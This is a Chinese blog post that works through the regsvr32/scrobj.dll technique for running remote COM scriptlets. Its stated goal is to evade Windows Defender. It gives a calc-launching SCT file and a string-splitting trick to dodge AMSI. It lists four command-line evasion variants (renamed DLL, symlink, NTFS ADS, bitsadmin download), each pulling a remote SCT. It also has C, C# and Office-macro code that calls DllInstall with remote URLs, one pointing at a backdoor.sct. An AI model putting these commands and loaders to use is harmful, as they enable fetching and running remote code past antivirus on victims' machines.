原文链接:blog
在对regsvr32的用法进行了解之后,对于Casey Smith的远程js脚本执行命令的思路很感兴趣。
命令语法如下:
regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll
原理则是利用com组件的scriptlet注册方式,关于scriptlet的介绍可以参考MSDN,差不多就是用脚本形式实现com组件和asp互操作,但其实除了给asp调用之外还可以给其他.net组件调用。
命令中的参数介绍:
- /s: 静默模式,不弹框
- /n: 不调用
DllRegisterServer
- /u: 卸载com组件
- /i: 传给
DllInstall
的参数内容 - scrobj.dll: com服务器,全名 Windows Script Component,
DllInstall
方法在这个组件中实现
根据msdn关于DllInstall
的介绍中:“It is invoked by regsvr32 to allow the DLL to perform tasks such as adding information to the registry.”,可知,regsvr32允许注册过程中dll进行一些自定义的安装过程,该过程在DllInstall
中实现。
该函数原型如下:
HRESULT DllInstall(
BOOL bInstall,
PCWSTR pszCmdLine
);
regsvr32中的/i参数指定的内容,会被直接传递到pszCmdLine,/u参数会将false传递到bInstall,所以对sct文件的调用肯定在scrobj.dll
中的install过程。
这么看,regsvr32只不过是负责调用dll的一个工具,可能还会有写入注册表的功能。
理解到这里之后,我们在defender开启的情况下尝试一下这个方法,发现被拦截:
报毒:Backdoor:JS/Relvelshe.A
,看受影响项目是脚本文件,可能是脚本内容没有过amsi检测。
文件内容:
<?XML version="1.0"?>
<component id="TESTING">
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</component>
经测试,将new ActiveXObject("WScript.Shell").Run("calc.exe")中字符串提出来赋值给变量就没问题了(脚本内容太复杂不好改,也可以试试直接hook掉amsiscanbuffer)。
在sct不被杀的情况下,再次执行regsvr32,仍然被拦截:Trojan:Win32/Powemet.A!attk
从报毒中的cmdline可知检测的是命令行内容,所以在网上可找到的绕过姿势有四种(参考wh0ale):
- 改变scrobj.dll的名称
copy c:windowssystem32scrobj.dll NothingToSeeHere.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
- 为scrobj.dll创建符号链接
Mklink Dave_LovesThis.dll c:windowssystem32scrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
- 利用NTFS ADS功能绕过
type c:WindowsSystem32scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
- 先将sct文件放到本地,然后执行
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP% est.txt && regsvr32.exe /s /u /i:%TEMP% est.txt scrobj.dll
Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll
经过上面分析,其实可以看出来其实可以不用regsvr32.exe,使用他的目的是因为他是windows自带的,有微软签名,如果不考虑这个的情况下其实可以写程序直接调用scrobj.dll的DllInstall方法实现代码执行。
对于调用dll导出的函数,我首先想到的使用c实现:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tchar.h>
int main()
{
TCHAR *dllpath = _T("c:\windows\system32\scrobj.dll");
HMODULE hDllScr = LoadLibrary(dllpath);
if (hDllScr == NULL)
{
puts("Load scrobj.dll fail!");
}
puts("Load scrobj.dll success!");
printf("Address: %p
", hDllScr);
void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
if (DllInstallProcAddr == NULL)
{
puts("Can not found DllInstall in scrobj.dll!");
}
printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
//((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt");
return 0;
}
很不幸,在执行的时候一直报错:
看这个原因和js有关系,但是无法具体确定哪里的原因,所以没想很多直接调试,对比regsvr32和他调用scrobj.dll的区别之处,最终发现到scrobj.dll的一处判断的地方没通过导致报错,貌似不是regsvr32做了什么暗箱操作。
调了十多遍,也不知道那处判断是做什么的,休息了几天,重新回到这个问题:如何手动调用scrobj.dll对DllInstall传参?
查了半天资料,终于看到一篇文章:https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/,其中讲了两点内容:
- 如何不用regsvr32运行远程com脚本
- 在office宏中调用已经存在磁盘上的dll
第一点正是我所需要的,看了之后发现这位大佬是在office宏中实现的,宏代码如下:
Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long
Sub AutoOpen()
DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") ' False = "Don't install"
End Sub
看代码,和上面我用c写的代码差不多,但是本地在office中用宏测试了一下真的可行。
经过一番思考,发现VB也是基于.net平台的,是不是这个原因,我用c写的肯定没有.net环境,改用c#试一下:
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.ComponentModel;
namespace scrobj_call_csharp
{
static class NativeMethod
{
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
}
class Program
{
[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine);
static void Main(string[] args)
{
const string dllPath = "scrxxobj.dll";
IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);
if(hDllScr == IntPtr.Zero)
{
var lasterror = Marshal.GetLastWin32Error();
var innerEx = new Win32Exception(lasterror);
innerEx.Data.Add("LastWin32Error", lasterror);
throw new Exception("Can't load Dll " + dllPath, innerEx);
}
IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");
DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall));
fDllInstall(false, "http://127.0.0.1\ttt.txt");
}
}
}
稍微麻烦一点,但是真的调用成功了。如此看来,使用C#或者其他基于.net的代码直接调用scrobj.dll绕过Defender也是可行的。
经过查资料发现c也可以使用.net环境,在vs中新建一个clr空项目,将cpp文件添加上去编译即可!